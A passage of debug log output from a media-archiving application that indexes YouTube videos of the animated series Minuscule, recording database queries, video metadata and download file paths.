s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:27.855 [debug] QUERY OK source="media_items" db=1.0ms idle=209.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-28 07:00:42Z], 4] 00:51:27.859 [debug] QUERY OK source="media_items" db=2.1ms idle=211.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Quest For The Pink Lollipop | S01E32\n00:04:40 | The Shellproof Nut | S01E40\n00:09:28 | Rosy | S01E38\n00:14:09 | Ants | S01E02\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#quest #lollipop #ants #battle #nut #problem #ideas #Minuscule #nature #insects #ladybugs #animatedseries", "The Quest For The Pink Lollipop 🍭 Minuscule 🐜 20' Compilation", "91a208ea-5449-43ee-ad57-937a5ccad308", "yHYE9LBToX0", 1170, false, 4, "https://www.youtube.com/watch?v=yHYE9LBToX0", 69, "/downloads/Miniscule Season 1/2025-01-28 The Quest For The Pink Lollipop 🍭 Minuscule 🐜 20' Compilation/The Quest For The Pink Lollipop 🍭 Minuscule 🐜 20' Compilation [yHYE9LBToX0].mp4", false, false, false, [], 1, ~U[2025-01-28 07:00:42Z], ~U[2025-12-14 07:51:27Z], ~U[2025-12-14 07:51:27Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Quest For The Pink Lollipop | S01E32\n00:04:40 | The Shellproof Nut | S01E40\n00:09:28 | Rosy | S01E38\n00:14:09 | Ants | S01E02\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#quest #lollipop #ants #battle #nut #problem #ideas #Minuscule #nature #insects #ladybugs #animatedseries", "The Quest For The Pink Lollipop 🍭 Minuscule 🐜 20' Compilation", "yHYE9LBToX0", 1170, false, 4, "https://www.youtube.com/watch?v=yHYE9LBToX0", "/downloads/Miniscule Season 1/2025-01-28 The Quest For The Pink Lollipop 🍭 Minuscule 🐜 20' Compilation/The Quest For The Pink Lollipop 🍭 Minuscule 🐜 20' Compilation [yHYE9LBToX0].mp4", false, ~U[2025-01-28 07:00:42Z]] 00:51:27.859 [debug] QUERY OK source="sources" db=0.3ms idle=213.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:27.860 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:51:27.861 [debug] QUERY OK source="media_items" db=0.5ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89039] 00:51:27.861 [debug] Current batch of media processed. Will check again in 1000ms 00:51:28.862 [debug] Current batch of media processed. Will check again in 1000ms 00:51:29.863 [debug] Current batch of media processed. Will check again in 1000ms 00:51:30.864 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Yellow | S01E07\n00:04:47 | Cowardly Coward | S01E09\n00:09:37 | Halloween Paranoid | S01E43\n00:14:25 | A Cruel World | S01E46\n00:19:20 | Lettuce | S01E48\n00:24:06 | Ugly | S01E05\n00:28:54 | Caterpillars in Pairs | S01E06\n00:33:42 | Shell-Less | S01E19\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Centipede #Coward #Thunder #Shelter #coward #centipede #bravery #cross #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2336, "filename" => "/downloads/Miniscule Season 1/2025-01-24 Yellow 🍃 Minuscule 🐞 55' Compilation/Yellow 🍃 Minuscule 🐞 55' Compilation [oCBx4mb7ZkA].mp4", "id" => "oCBx4mb7ZkA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oCBx4mb7ZkA", "playlist_index" => 70, "timestamp" => 1737756026, "title" => "Yellow 🍃 Minuscule 🐞 55' Compilation", "upload_date" => "20250124"} 00:51:30.865 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1219.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:51:30.866 [debug] QUERY OK source="sources" db=0.4ms idle=1220.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:30.867 [debug] QUERY OK source="media_items" db=1.1ms idle=1221.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-24 22:00:26Z], 4] 00:51:30.884 [debug] QUERY OK source="media_items" db=15.2ms queue=0.1ms idle=1223.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Yellow | S01E07\n00:04:47 | Cowardly Coward | S01E09\n00:09:37 | Halloween Paranoid | S01E43\n00:14:25 | A Cruel World | S01E46\n00:19:20 | Lettuce | S01E48\n00:24:06 | Ugly | S01E05\n00:28:54 | Caterpillars in Pairs | S01E06\n00:33:42 | Shell-Less | S01E19\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Centipede #Coward #Thunder #Shelter #coward #centipede #bravery #cross #Minuscule #nature #insects #ladybugs #animatedseries", "Yellow 🍃 Minuscule 🐞 55' Compilation", "3fb4711e-87f7-4b42-9832-312d17f3c2f7", "oCBx4mb7ZkA", 2336, false, 4, "https://www.youtube.com/watch?v=oCBx4mb7ZkA", 70, "/downloads/Miniscule Season 1/2025-01-24 Yellow 🍃 Minuscule 🐞 55' Compilation/Yellow 🍃 Minuscule 🐞 55' Compilation [oCBx4mb7ZkA].mp4", false, false, false, [], 1, ~U[2025-01-24 22:00:26Z], ~U[2025-12-14 07:51:30Z], ~U[2025-12-14 07:51:30Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Yellow | S01E07\n00:04:47 | Cowardly Coward | S01E09\n00:09:37 | Halloween Paranoid | S01E43\n00:14:25 | A Cruel World | S01E46\n00:19:20 | Lettuce | S01E48\n00:24:06 | Ugly | S01E05\n00:28:54 | Caterpillars in Pairs | S01E06\n00:33:42 | Shell-Less | S01E19\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Centipede #Coward #Thunder #Shelter #coward #centipede #bravery #cross #Minuscule #nature #insects #ladybugs #animatedseries", "Yellow 🍃 Minuscule 🐞 55' Compilation", "oCBx4mb7ZkA", 2336, false, 4, "https://www.youtube.com/watch?v=oCBx4mb7ZkA", "/downloads/Miniscule Season 1/2025-01-24 Yellow 🍃 Minuscule 🐞 55' Compilation/Yellow 🍃 Minuscule 🐞 55' Compilation [oCBx4mb7ZkA].mp4", false, ~U[2025-01-24 22:00:26Z]] 00:51:30.885 [debug] QUERY OK source="sources" db=0.4ms idle=372.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:30.885 [debug] QUERY OK source="media_profiles" db=0.3ms idle=19.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:51:30.886 [debug] QUERY OK source="media_items" db=0.6ms idle=19.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89041] 00:51:30.887 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #efUu46swQMY/youtube video #efUu46swQMY [efUu46swQMY].NA", "id" => "efUu46swQMY", "original_url" => "https://www.youtube.com/watch?v=efUu46swQMY", "playlist_index" => 71, "title" => "youtube video #efUu46swQMY"} 00:51:30.888 [debug] QUERY OK source="sources" db=0.3ms idle=19.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:51:30.888 [debug] Current batch of media processed. Will check again in 1000ms 00:51:31.138 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:31.889 [debug] Current batch of media processed. Will check again in 1000ms 00:51:32.890 [debug] Current batch of media processed. Will check again in 1000ms 00:51:33.891 [debug] Current batch of media processed. Will check again in 1000ms 00:51:34.892 [debug] Current batch of media processed. Will check again in 1000ms 00:51:35.893 [debug] Current batch of media processed. Will check again in 1000ms 00:51:36.894 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.33, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 348, "filename" => "/downloads/Miniscule Season 1/2020-08-04 Minuscule - Un radiateur pour deux ⧸ The Winter of our Discontent (Season 1)/Minuscule - Un radiateur pour deux ⧸ The Winter of our Discontent (Season 1) [w3xL7XINseA].mp4", "id" => "w3xL7XINseA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=w3xL7XINseA", "playlist_index" => 72, "timestamp" => 1596551403, "title" => "Minuscule - Un radiateur pour deux / The Winter of our Discontent (Season 1)", "upload_date" => "20200804"} 00:51:36.895 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=371.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:51:36.896 [debug] QUERY OK source="sources" db=0.4ms idle=250.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:36.898 [debug] QUERY OK source="media_items" db=1.0ms idle=251.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-08-04 14:30:03Z], 4] 00:51:36.901 [debug] QUERY OK source="media_items" db=2.0ms idle=253.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Un radiateur pour deux / The Winter of our Discontent (Season 1)", "06f518fe-1eaf-4b21-acc9-241332a0f8a6", "w3xL7XINseA", 348, false, 4, "https://www.youtube.com/watch?v=w3xL7XINseA", 72, "/downloads/Miniscule Season 1/2020-08-04 Minuscule - Un radiateur pour deux ⧸ The Winter of our Discontent (Season 1)/Minuscule - Un radiateur pour deux ⧸ The Winter of our Discontent (Season 1) [w3xL7XINseA].mp4", false, false, false, [], 1, ~U[2020-08-04 14:30:03Z], ~U[2025-12-14 07:51:36Z], ~U[2025-12-14 07:51:36Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Un radiateur pour deux / The Winter of our Discontent (Season 1)", "w3xL7XINseA", 348, false, 4, "https://www.youtube.com/watch?v=w3xL7XINseA", "/downloads/Miniscule Season 1/2020-08-04 Minuscule - Un radiateur pour deux ⧸ The Winter of our Discontent (Season 1)/Minuscule - Un radiateur pour deux ⧸ The Winter of our Discontent (Season 1) [w3xL7XINseA].mp4", false, ~U[2020-08-04 14:30:03Z]] 00:51:36.901 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=255.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:36.902 [debug] QUERY OK source="media_profiles" db=0.6ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:51:36.903 [debug] QUERY OK source="media_items" db=0.5ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89043] 00:51:36.903 [debug] Current batch of media processed. Will check again in 1000ms 00:51:37.905 [debug] Current batch of media processed. Will check again in 1000ms 00:51:38.906 [debug] Current batch of media processed. Will check again in 1000ms 00:51:39.907 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 340, "filename" => "/downloads/Miniscule Season 1/2020-07-28 Minuscule - Sans Coquille⧸ Shell less (Season 1)/Minuscule - Sans Coquille⧸ Shell less (Season 1) [pS8uRZ5gnpM].mp4", "id" => "pS8uRZ5gnpM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=pS8uRZ5gnpM", "playlist_index" => 73, "timestamp" => 1595946603, "title" => "Minuscule - Sans Coquille/ Shell less (Season 1)", "upload_date" => "20200728"} 00:51:39.908 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1262.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:51:39.909 [debug] QUERY OK source="sources" db=0.3ms idle=1263.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:39.910 [debug] QUERY OK source="media_items" db=1.0ms idle=1264.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-28 14:30:03Z], 4] 00:51:39.927 [debug] QUERY OK source="media_items" db=15.9ms idle=1266.0ms INSERT INTO "media_items" AS m0 